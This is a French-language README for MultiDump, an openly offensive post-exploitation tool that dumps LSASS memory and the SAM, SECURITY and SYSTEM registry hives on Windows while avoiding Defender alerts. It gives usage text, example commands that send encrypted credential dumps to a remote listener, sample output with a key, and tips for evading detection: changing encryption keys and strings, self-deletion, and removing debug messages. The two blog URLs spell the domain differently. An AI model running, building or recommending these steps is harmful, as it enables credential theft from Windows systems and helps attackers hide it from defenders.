
MultiDump est un outil de post-exploitation permettant de dumper et d'extraire discrètement la mémoire LSASS.
MultiDump est un outil de post-exploitation écrit en C pour vider et extraire discrètement la mémoire LSASS, sans déclencher les alertes de Defender, avec un gestionnaire écrit en Python.

Article de blog : https://xreous.io/posts/multidump
MultiDump prend en charge le vidage LSASS via ProcDump.exe ou comsvc.dll, et propose deux modes : un mode local qui chiffre et stocke le fichier de vidage localement, et un mode distant qui envoie le vidage à un gestionnaire pour déchiffrement et analyse.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Comme pour tous les outils liés à LSASS, les privilèges Administrateur/SeDebugPrivilege sont nécessaires.
Le gestionnaire dépend de Pypykatz pour analyser le vidage LSASS, et de impacket pour analyser les sauvegardes de registre. Ils doivent être installés dans votre environnement. Si vous voyez l'erreur All detection methods failed, il est probable que la version de Pypykatz soit obsolète.
Par défaut, MultiDump utilise la méthode Comsvc.dll et enregistre le vidage chiffré dans le répertoire courant.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Si --procdump est utilisé, ProcDump.exe sera écrit sur le disque pour vider LSASS.
Dans cmd, --procdump doit être utilisé, sinon cela échouera selon #5. Il est recommandé d'utiliser powershell si possible.
En mode distant, MultiDump se connecte à l'écouteur du gestionnaire.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
La clé est chiffrée avec l'IP et le port du gestionnaire. Lorsque MultiDump se connecte via un proxy, le gestionnaire doit utiliser l'option --override-ip pour spécifier manuellement l'adresse IP pour la génération de clé en mode distant, garantissant ainsi que le déchiffrement fonctionne correctement en faisant correspondre l'IP de déchiffrement avec l'IP attendue définie dans MultiDump -r.
Une option supplémentaire pour vider les ruches SAM, SECURITY et SYSTEM est disponible avec --reg ; le processus de déchiffrement est le même que pour les vidages LSASS. C'est davantage une fonctionnalité de commodité pour faciliter la collecte d'informations post-exploitation.
Ouvrir dans Visual Studio, compiler en mode Release.
Il est recommandé de personnaliser le binaire avant la compilation, par exemple en modifiant les chaînes statiques ou la clé RC4 utilisée pour les chiffrer. Pour ce faire, un autre projet Visual Studio, EncryptionHelper, est inclus. Il suffit de changer la clé ou les chaînes, et la sortie du EncryptionHelper.exe compilé peut être collée dans MultiDump.c et Common.h.
La suppression automatique peut être activée en décommentant la ligne suivante dans Common.h :
#define SELF_DELETION
Pour échapper davantage à l'analyse des chaînes, la plupart des messages de sortie peuvent être exclus de la compilation en commentant la ligne suivante dans Debug.h :
//#define DEBUG
MultiDump pourrait être détecté sur Windows 10 22H2 (19045) (en quelque sorte), et j'ai implémenté un correctif pour cela (en quelque sorte). L'investigation et l'implémentation méritent un article de blog à part entière : https://xre0us.io/posts/saving-lsass-from-defender/